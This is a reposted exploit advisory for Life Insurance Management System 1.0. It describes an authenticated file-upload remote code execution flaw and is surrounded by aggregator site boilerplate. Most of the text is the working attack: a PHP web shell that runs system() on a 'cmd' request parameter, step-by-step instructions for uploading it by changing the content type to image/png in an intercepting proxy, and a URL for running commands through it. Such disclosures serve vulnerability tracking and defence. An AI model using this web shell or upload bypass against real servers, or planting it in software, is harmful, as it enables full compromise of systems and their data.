Advertisement


Looking for a fix? Check your Codebase security with multiple scanners from Scanmycode.today


Edit Report

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021010135

Below is a copy:

Life Insurance Management System 1.0 Shell Upload
# Exploit Title: Life Insurance Management System 1.0 - File Upload RCE (Authenticated)
# Date: 15/1/2021
# Exploit Author: Aitor Herrero
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14665/life-insurance-management-system-php-full-source-code.html
# Version: 1.0
# Tested on: Windows /linux /

Login in the application

Go to Clients and you can add new client o modify existent

Click examination botton and upload a test.php with content:

"<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd =
($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>"

Click Upload and intercept with burpsuite

Change the content type to image/png

Go to the path

http://localhost:8080/lims/uploads/test.php?cmd=dir

Copyright ©2021 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.